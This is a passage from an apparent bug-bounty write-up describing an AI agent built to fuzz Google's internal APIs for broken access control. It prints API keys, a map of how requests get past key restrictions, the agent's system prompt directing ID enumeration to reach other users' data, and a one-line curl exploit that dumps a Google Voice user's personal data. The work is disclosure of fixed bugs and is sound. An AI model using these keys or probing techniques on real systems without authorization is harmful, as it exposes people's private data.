<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyBOh-LSTdP2ddSgqPk6ceLEKTb8viTIvdw</code></pre><p>This API only allowed calls from the following origin headers:</p>
<ul>
<li><a href="https://coco.corp.google.com" target="_blank" rel="noopener noreferrer">https://coco.corp.google.com</a></li>
<li><a href="https://connect.corp.google.com" target="_blank" rel="noopener noreferrer">https://connect.corp.google.com</a></li>
<li><a href="https://redbull.corp.google.com" target="_blank" rel="noopener noreferrer">https://redbull.corp.google.com</a></li>
<li><a href="https://redwood.corp.google.com" target="_blank" rel="noopener noreferrer">https://redwood.corp.google.com</a></li>
</ul>
<p>as well as staging/dev variants of these (e.g. <a href="https://connect-staging.corp.google.com" target="_blank" rel="noopener noreferrer">https://connect-staging.corp.google.com</a>).</p>
<blockquote>
<p>Fun fact: If an API only allows <code>*.corp.google.com</code> origins, it&#39;s likely an internal API that wasn&#39;t meant to be publicly exposed and probably has bugs. This specific API was used for managing <a href="https://support.google.com" target="_blank" rel="noopener noreferrer">support.google.com</a> content/workflows and had an access control vulnerability that was awarded <strong>$9,000</strong>.</p>
</blockquote>
<p>This is a clear picture of the full lifecycle of a Google API request:</p>
<pre><code>[1] Request hits *.googleapis.com
     |
     v
[2] Method resolution
     - 404, Content-Type: text/html; charset=UTF-8 (If method doesn&#39;t exist, this is the resp)
     |
     v
[3] Supplied Content-Type configured for service
     - 400, &quot;JSPB is not configured for service &#39;preprod-nestauthproxyservice-pa.sandbox.googleapis.com&#39;.&quot;
     |
     v
[4] API key valid &amp; enabled for this API
     - 400, reason: API_KEY_INVALID
     - 403, &quot;API key not valid.&quot;
     - 403, &quot;API key is expired&quot;
     - 403, &quot;Pulse Private API has not been used in project 41614776383...&quot;
     - 403, &quot;...doesn&#39;t allow unregistered callers...&quot;
     - 403, &quot;...missing a valid API key&quot;
     |
     |   ~50% of requests to staging environments have [4] &lt;-&gt; [5] swapped
     v
[5] API key restrictions
     - 403, &quot;Requests from this Android client application &lt;empty&gt; are blocked.&quot;
     - 403, &quot;Requests from this iOS client application &lt;empty&gt; are blocked.&quot;
     - 403, &quot;Requests from referer https://console.cloud.google.com are blocked.&quot;
     |
     v
[6] Authentication credential validity
     - 401, &quot;Request had invalid authentication credentials. Expected OAuth 2 access token, login cookie or other valid authentication credential. See https://developers.google.com/identity/sign-in/web/devconsole-project.&quot;
     - 401, reason: ACCESS_TOKEN_SCOPE_INSUFFICIENT
     |
     v
[7] First-party auth origin whitelisted   (only when FPA cookies sent)
     - 401, reason: SESSION_COOKIE_INVALID, metadata.cookie: &quot;UNKNOWN&quot;
     |
     v
[8] API key project == bearer project   (only when both key + bearer sent)
     - 400, &quot;The API Key and the authentication credential are from different projects.&quot;
     |
     v
[9] Visibility label
     - 404, Content-Type: application/json, &quot;Method not found.&quot;
     |
     v
[10] Method blocked for caller&#39;s GCP project
     - 403, &quot;Requests to this API preprod-nestauthproxyservice-pa.sandbox.googleapis.com method nest.security.authproxy.v1.NestSecurityAuthproxyService.LookUpByNestId are blocked.&quot;
     |
     v
    ...
     |
     v
[N] Request processed by application server</code></pre><p>I built a program around this map. For each (API key, API) pair, it would send a probe request to a known method and classify the response by which step rejected it (or &quot;passed&quot; if it made it past step [4]). Running this across every key against every API gave me an enablement matrix of which keys actually worked for which APIs, along with the working origin headers and key-restriction headers required for each.</p>
<h3 id="building-my-own-api-explorer"><a class="anchor" href="#building-my-own-api-explorer" aria-hidden="true">#</a>Building My Own API Explorer</h3><p>Google has a tool called the <a href="https://developers.google.com/apis-explorer" target="_blank" rel="noopener noreferrer">API Explorer</a> which, behind the scenes, uses discovery documents to let you test any API request and see the response. This was extremely useful for testing public APIs. The API Explorer <a href="https://code.google.com/archive/p/google-apis-explorer/" target="_blank" rel="noopener noreferrer">used to be open source</a>, but it isn&#39;t anymore. This was a problem because the public API Explorer only works with public APIs, not private/internal ones. The explorer pages are also generated server-side, so you can&#39;t just swap in a different discovery document as the client.</p>
<p>Considering this, along with the need to integrate FPA v2, I decided to build my own API Explorer. It took about a week, but the result was a tool that could parse any discovery document client-side and execute requests with FPA using my own library. The frontend automatically constructs valid request/response JSON using structs defined in the discovery document. The end result is a UI where I can quickly test any payload against an API and see how it responds.</p>
<div class="embedded-content" data-embed-src="/articles/embeds/hacking-google-with-ai/siege.html"></div><blockquote>
<p>This is a mini interactive demo of what my tool looks like, try clicking on the &#39;Play&#39; button! This endpoint was an access control bug leaking <strong>assignedTams</strong> (technology account managers) that was awarded <strong>$6,000</strong></p>
</blockquote>
<h3 id="enter-a-i"><a class="anchor" href="#enter-a-i" aria-hidden="true">#</a>Enter A.I.</h3><p>It was now time to start automatically fuzzing these APIs. My goal was to automate finding basic access control issues, which I could then escalate manually into more serious vulnerabilities. In fact, the RCE I found in my <a href="/articles/google-cloud-rce">previous writeup</a> was initially a lead reported by the AI.</p>
<p>I took the same code I used in the frontend for parsing request/response JSON and plugged it into the AI as <a href="https://modelcontextprotocol.io/docs/getting-started/intro" target="_blank" rel="noopener noreferrer">MCP</a> tools, providing everything it would need to test APIs like a human would.</p>
<h4 id="initial-approach"><a class="anchor" href="#initial-approach" aria-hidden="true">#</a>Initial Approach</h4><p>Initially, I only provided the AI with two tools: <code>probe_api</code> and <code>report_vulnerability</code>. The latter would make any reported vulnerability show up in my frontend for review. I would run one &quot;pentest&quot; per API and let the AI explore.</p>
<p>However, I found that the AI didn&#39;t thoroughly test everything. It would exit early after a few probes. To prevent this, I used a <a href="https://www.anthropic.com/engineering/claude-character#agentic-behaviors" target="_blank" rel="noopener noreferrer">Ralph Wiggum loop</a> and only allowed the AI to finish by calling <code>confirm_testing_complete()</code>. This tool would validate that every endpoint had at least one probe call before letting the AI finish.</p>
<p>Even with this, the AI still wasn&#39;t as thorough as I wanted. I was also providing a massive dump of request/response JSON with comments in the initial context, which quickly consumed all the available context size. I needed a different approach.</p>
<h4 id="group-based-classification"><a class="anchor" href="#group-based-classification" aria-hidden="true">#</a>Group-Based Classification</h4><p>I changed the strategy to first have the AI classify all endpoints into logical groups:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">[</span>
  <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;group_name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;APK Metadata &amp; Permission Analysis&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;group_description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Endpoints managing APK information, permission certifications, and text-based searches.&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;group_rationale&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;These endpoints provide the primary interface for retrieving APK technical details. A focused test can look for data leakage in search results and IDOR on certificate/permission lookups.&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;methods&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;method_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;androidpartner.apks.get&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;definition_hash&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;4462fbad195536db&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;classified_at&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2026-01-25T11:18:52.028788+00:00&quot;</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;method_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;androidpartner.apks.submissions.create&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;definition_hash&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;0bbeeacafb51a2a5&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;classified_at&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2026-01-25T11:18:52.093755+00:00&quot;</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      ...
    <span class="hljs-punctuation">]</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">]</span></code></pre><p>Now, each &quot;pentest&quot; focused on a specific group rather than an entire API. Findings from previous groups were shared with future groups in the same API. A list of &quot;out of scope&quot; endpoints would also be provided, along with documentation for in-scope endpoints in the initial prompt.</p>
<p>If the AI wanted to call an out-of-scope endpoint, it had to first use <code>get_endpoint_context</code> to retrieve the request/response JSON schema. Only after calling this could the AI probe that endpoint.</p>
<h4 id="simplifying-probe_api"><a class="anchor" href="#simplifying-probe_api" aria-hidden="true">#</a>Simplifying probe_api</h4><p>Initially, the <code>probe_api</code> tool call required the AI to pass in everything:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;body&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;dataFetcherConfig&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;602e1c07-d60c-4a6f-9375-1caf1b976697&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;metadata&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Updated title&quot;</span> <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;host&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;autopush-cloudcrmcards-pa.sandbox.googleapis.com&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;http_method&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;POST&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;include_creds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;113728935872649341310&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;method_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;autopush_cloudcrmcards_pa_sandbox.updateDataFetcherConfiguration&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;path&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;/v1/updateDataFetcherConfiguration&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;version&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;v1&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><p>This included the API hostname, HTTP method, long discovery method ID, and API version. There was too much room for the AI to hallucinate or provide incorrect values. If <code>include_creds</code> was set (it takes a Gaia ID), the request would be sent with the cookies of my attacker Google account. This abstracted away the complex Google FPA authentication so the AI only had to focus on crafting payloads. To save engineering effort, I reused the same API endpoint I made for proxying Google API requests in my frontend.</p>
<p>I later simplified this to:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;body&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;dataFetcherConfig&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;602e1c07-d60c-4a6f-9375-1caf1b976697&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;metadata&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Updated title&quot;</span> <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;include_creds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;113728935872649341310&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;endpoint&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;updateDataFetcherConfiguration&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;path&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;/v1/updateDataFetcherConfiguration&quot;</span><span class="hljs-punctuation">,</span>
<span class="hljs-punctuation">}</span></code></pre><p>The API host and version were now tracked in the background. I also stripped the verbose prefix (like <code>autopush_cloudcrmcards_pa_sandbox</code>) from endpoint names to reduce the chance of the AI making mistakes.</p>
<h4 id="multi-key-probing"><a class="anchor" href="#multi-key-probing" aria-hidden="true">#</a>Multi-Key Probing</h4><p>In Google APIs, the response from using one API key can differ from another. This is especially true for endpoints hidden behind visibility labels. I made <code>probe_api</code> automatically send the same request using all known API keys. My backend would handle adding the correct key restriction headers and the origin/referer matching logic.</p>
<p>Since the vast majority of responses were identical across keys, I grouped them by response hash:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;operation_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;op_023&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;results&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;endpointPath&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;/v1internal/accounts/1495306056/dataSegments/1&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;apiKey&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;AIzaSyDntWfIQs0iyimIUm1GTOWjx5fJL8YdKTE&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;httpMethod&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;GET&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;statusCode&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">200</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;responseBodyHash&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;response_1&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;endpointPath&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;/v1internal/accounts/1495306056/dataSegments/1&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;apiKey&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;AIzaSyDIIy--0yYGybWFSbAyNxF8aOqvX-X1doE&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;httpMethod&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;GET&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;statusCode&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">404</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;standardErrorType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;MISSING_REQUIRED_VISIBILITY_LABEL&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    ...
  <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;responseBodies&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;response_1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;responseJson&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;cpmFee&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;currencyCode&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;USD&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;units&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;3&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;createTime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2025-02-19T22:05:30.626Z&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;creator&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;accountId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1495306056&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;DoubleVerify Inc.&quot;</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;curatorDataSegmentId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;dataSegmentId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;7950&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;state&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INACTIVE&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;updateTime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2025-05-22T13:47:13.599Z&quot;</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;totalResults&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">4</span>
<span class="hljs-punctuation">}</span></code></pre><h4 id="parsing-standard-errors"><a class="anchor" href="#parsing-standard-errors" aria-hidden="true">#</a>Parsing Standard Errors</h4><p>Google APIs often returned cryptic error messages that I understood but could confuse the AI. For example:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">404</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Method not found.&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;NOT_FOUND&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>Contrary to what you might think, this doesn&#39;t mean the method doesn&#39;t exist. If that was the case, it would be an HTML response, not JSON. This actually means the GCP project tied to your API key is missing a required <a href="/articles/decoding-google/#secret-visibility-labels">visibility label</a>. I parsed these into a <code>standardErrorType</code> like <strong>MISSING_REQUIRED_VISIBILITY_LABEL</strong>.</p>
<p>Another common one:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">400</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Request contains an invalid argument.&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INVALID_ARGUMENT&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>This just means one or more arguments are incorrect. I parsed this to <strong>INVALID_ARGUMENT_NO_DETAILS</strong> and included a <code>standardErrorExplanation</code>:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;standardErrorType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INVALID_ARGUMENT_NO_DETAILS&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;standardErrorExplanation&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;The request was rejected by the application due to invalid arguments, but no details were provided. Check your request parameters.&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><p>All pentests were logged on my frontend, where I could scroll through and review every tool call the AI made.</p>
<h4 id="refining-the-approach"><a class="anchor" href="#refining-the-approach" aria-hidden="true">#</a>Refining the Approach</h4><p>Initially, from running the AI on a bunch of APIs, it found a few bugs but they were hidden away in 90% junk. I identified two key problems:</p>
<ol>
<li><p><strong>Validation was painful.</strong> There was no easy way to verify if a vulnerability was real. I&#39;d have to manually visit the API in my frontend, set all the same parameters, and check if what the AI reported was even legit. For all I knew, the AI made it all up.</p>
</li>
<li><p><strong>Too much noise.</strong> The AI would report things I wouldn&#39;t consider bugs, as well as things it thought were &quot;potential&quot; vulnerabilities but weren&#39;t actually exploitable. A common example was existence enumeration. An oracle to tell if a user exists or not is interesting, but by itself isn&#39;t worth reporting.</p>
</li>
</ol>
<p>To solve the validation problem, I made the AI include operation IDs from <code>probe_api</code> responses within its report, like <code>{{op_005}}</code>. On my frontend, these would be replaced with a UI showing the actual request that was sent (which can&#39;t be hallucinated). I could see the response the operation returned, and click &quot;Play&quot; to replay the request and verify if the bug still worked.</p>
<p>To solve the noise problem, it took a lot of trial and error constantly adapting the system prompt until I made it clear what should and shouldn&#39;t be reported. Here&#39;s an excerpt of the final system prompt I ended up with (after over a month of refactoring):</p>
<pre><code class="hljs language-markdown">You are a Google VRP security researcher testing Google APIs for IDOR, broken access control vulnerabilities.

<span class="hljs-strong">**Important:**</span> Google uses strict JSON→gRPC transcoding with strong type checking. Type confusion bugs are not applicable - use the exact types from the request schema.

<span class="hljs-section">## Tools</span>

<span class="hljs-bullet">1.</span> <span class="hljs-strong">**probe<span class="hljs-emphasis">_api(...)** - Test endpoint. Returns an **operation_</span>id**</span> - save this for reporting vulnerabilities.
<span class="hljs-bullet">2.</span> <span class="hljs-strong">**report<span class="hljs-emphasis">_vulnerability(...)** - Report confirmed vulnerabilities. **Requires operation_</span>ids**</span> from your probe<span class="hljs-emphasis">_api calls as evidence.
3. <span class="hljs-strong">**confirm_testing_complete(report)**</span> - Call when done. System validates all in-scope endpoints were tested. Your report will be passed to subsequent testing groups - include discovered IDs, useful context, and any patterns you noticed.
4. <span class="hljs-strong">**get_endpoint_schema(endpoint)**</span> - Get schema for out-of-scope endpoints only. Required before probing out-of-scope endpoints.

<span class="hljs-strong">**Operation IDs:**</span> Each probe_</span>api call returns an operation<span class="hljs-emphasis">_id (e.g., &quot;op_</span>001&quot;). When reporting a vulnerability, you MUST include the operation<span class="hljs-emphasis">_ids that demonstrate the vulnerability. This links your report to the actual request/response data.

## Testing Rules

<span class="hljs-strong">**Endpoints are exhaustive:**</span> The endpoints listed below are the ONLY endpoints that exist. Do not try HTTP methods or paths outside of what is listed.

<span class="hljs-strong">**In-scope endpoints:**</span> Full schemas are provided below. Probe them directly.
<span class="hljs-strong">**Out-of-scope endpoints:**</span> Call `get_</span>endpoint<span class="hljs-emphasis">_schema` first if you need to probe them for context or ID discovery.

<span class="hljs-strong">**Auth:**</span> Check the `allows_</span>auth` column to decide whether to use include<span class="hljs-emphasis">_creds.

<span class="hljs-strong">**ID Enumeration (Testing Technique - NOT a vulnerability):**</span>
- If you discover an incremental numeric ID (e.g., 12345), IMMEDIATELY try ID-1, ID-2, ID+1, ID+2
- Try small IDs: 1, 2, 3, 100, 1000
- Cross-reference IDs discovered from one endpoint on other endpoints
- This is how you find other users&#x27; resources
- <span class="hljs-strong">**Note:**</span> Being able to enumerate IDs is NOT a vulnerability. Only report if you can actually ACCESS confidential data.

<span class="hljs-strong">**Don&#x27;t know a parameter value?**</span> Use: &quot;1&quot;, &quot;test&quot;, &quot;me&quot;, &quot;default&quot;, fake UUIDs. Never skip an endpoint.

<span class="hljs-strong">**Make MULTIPLE probes per endpoint**</span> with different auth states and IDs.

## Reporting

<span class="hljs-strong">**Report when you find:**</span>
- Access to other users&#x27; data
- 2xx response with private data where 4xx expected

<span class="hljs-strong">**Do NOT report:**</span>
- 500 errors, 401/403/404 errors, 400 invalid param errors
- Status 200 without actual private data disclosure or provable impact
- <span class="hljs-strong">**Existence enumeration**</span> - NEVER report that you can detect whether an ID exists (e.g., different responses for valid vs invalid IDs). This is NOT a vulnerability unless it leaks sensitive information like emails, names, or private data. Use enumeration for testing, but do not report it.

<span class="hljs-strong">**Severity:**</span>
- DEBUG: Internal debug info leaked (not type.googleapis.com/xxx)
- INFO: Suspected IDOR - endpoint returns 200/404/500 with resource ID but no valid ID to confirm (needs manual verification)
- MEDIUM: Gaia ID → Email mapping for victim
- MEDIUM: Project number -&gt; Project ID mapping for victim
- HIGH: IDOR leaking other user&#x27;s data
- CRITICAL: Broken access control leaking sensitive user data

<span class="hljs-strong">**Report immediately.**</span> As soon as you confirm a vulnerability, call report_</span>vulnerability right away - don&#x27;t wait until the end.

<span class="hljs-strong">**Each vulnerability = one report.**</span> If you find the same bug on multiple endpoints, report it once. Exception: INFO-level internal error leaks - only report the first one you see unless they&#x27;re vastly different.</code></pre><p>Once these two problems were solved, the AI started finding bugs left and right with over 50% accuracy. Reviewing them became trivial. I&#39;d just click &quot;Play&quot;, see if the bug still worked, then report. It soon became clear that the only limiting factor was API keys.</p>
<h3 id="pwning-google"><a class="anchor" href="#pwning-google" aria-hidden="true">#</a>Pwning Google</h3><p>Now&#39;s time for the fun: The AI ended up finding <strong>$500,000</strong> in bugs in less than 3 months of running. There are far too many bugs to cover here, but here are some of the coolest bugs it found (that are fixed).</p>
<h4 id="google-voice-ato"><a class="anchor" href="#google-voice-ato" aria-hidden="true">#</a>Google Voice ATO</h4><p>There were no access control checks at all on <code>gfibervoice-pa.googleapis.com</code>, which seemed to contain admin management endpoints for <a href="https://workspace.google.com/products/voice/" target="_blank" rel="noopener noreferrer">Google Voice</a> and <a href="https://fiber.google.com/" target="_blank" rel="noopener noreferrer">Google Fiber</a>.</p>
<p>With just a one line <code>curl</code> command (you didn&#39;t even need authentication):</p>
<pre><code class="hljs language-bash">curl <span class="hljs-string">&#x27;https://gfibervoice-pa.googleapis.com/v1/BssGetVoiceSettings?gaiaId=786575234861&#x27;</span> \
  -X GET \
  -H <span class="hljs-string">&#x27;X-Goog-Api-Key: AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE&#x27;</span></code></pre><blockquote>
<p>Replacing <code>gaiaId</code> with your victim&#39;s <strong>unobfuscated Gaia ID</strong></p>
</blockquote>
<p>If they had a Google voice number tied to their Google account, it would dump all of their PII:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;voiceAccountInfo&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;voiceSettings&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      ...
      <span class="hljs-attr">&quot;did&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;+&lt;REDACTED PHONE&gt;&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;notificationAddress&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;REDACTED&gt;@gmail.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;voicemailPin&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;doNotDisturb&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;groupRingType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;GROUP_RING_TYPE_UNKNOWN&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;weekdayRingSchedule&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;scheduleType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ALWAYS_RING&quot;</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;weekendRingSchedule&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;scheduleType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ALWAYS_RING&quot;</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;forwardingPhone&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">33</span><span class="hljs-punctuation">,</span>
